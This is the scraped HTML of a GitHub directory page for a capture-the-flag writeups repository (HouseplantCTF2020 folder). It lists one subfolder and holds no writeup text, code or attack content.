15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> TeamGreyFang </span> <span>/</span> CTF-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/TeamGreyFang/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":249393641,"originating_url":"https://github.com/TeamGreyFang/CTF-Writeups/tree/master/HouseplantCTF2020","user_id":null}}" data-hydro-click-hmac="d52960bf2aab0968312164c2cdea7f4847c491974af1f05c068b6e1cde90838a"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/TeamGreyFang/CTF-Writeups/refs" cache-key="v0:1585500687.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="VGVhbUdyZXlGYW5nL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/TeamGreyFang/CTF-Writeups/refs" cache-key="v0:1585500687.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="VGVhbUdyZXlGYW5nL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>HouseplantCTF2020<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>HouseplantCTF2020<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/TeamGreyFang/CTF-Writeups/tree-commit/e1e1bf29c5a6b1196d68b004dc29bafc5e2eb53b/HouseplantCTF2020" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/TeamGreyFang/CTF-Writeups/file-list/master/HouseplantCTF2020"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>RTCP.Trivia</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
